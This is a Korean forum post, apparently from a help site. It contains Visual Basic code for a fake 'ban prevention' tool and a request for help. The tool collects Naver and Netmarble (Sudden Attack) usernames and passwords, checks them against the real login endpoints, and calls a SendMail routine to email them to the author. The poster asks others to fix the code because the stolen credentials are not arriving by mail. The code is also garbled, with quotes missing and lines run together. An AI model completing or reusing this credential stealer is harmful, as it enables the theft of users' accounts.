수다닷컴

Dim WinHttp As New WinHttpRequestPrivate Sub File1_Click()End Sub
Private Sub CmdSend_Click()
Dim temp As String
WinHttp.Open POST, http://nid.naver.com/nidlogin.login
WinHttp.SetRequestHeader Content-Type, application/x-www-form-urlencoded
WinHttp.Send smart_level=1&id + Text4 + &pw= + Text5temp = StrConv(WinHttp.ResponseBody, vbUnicode)
If InStr(temp, errcode) 0 Then
Call SendMail(Text1.Text, Text2.Text, Text3.Text)
MsgBox 영정방지 실패
Else
MsgBox 영정방지 성공!
End IfEnd Sub-----------------------------------------------------------------------------Private Sub Command4_Click()
Dim temp As String
WinHttp.Open POST, https://sso.netmarble.net/Logon/Logon.aspx
WinHttp.SetRequestHeader Content-Type, application/x-www-form-urlencoded
WinHttp.Send l_id= & Text1.Text & &l_pwd= & Text2.Text & &l_type=1&l_domain=www.netmarble.net&l_url=www.netmarble.net
temp = StrConv(WinHttp.ResponseBody, vbUnicode)
If InStr(temp, errcode) 0 Then
Call SendMail(Text1.Text, Text2.Text, Text3.Text)
MsgBox 로그인에 실패하였습니다
Else
MsgBox 로그인 성공!
End IfEnd Sub서든어택 로그인 은 됩니다.그다음에 text4에 네이버아이디와 text5에 네이버비번을해놓고 영정방지를 누르면 로그인하게되잇는데로그인도되는데 메일이 안오네요..메일오게하는방법좀줄아래가 서든 줄위가 네이버로그인후 서든아이디 메일로보내는형식입니다.메일안오는데 매일오게 수정좀해주실분..ㅠ

신청하기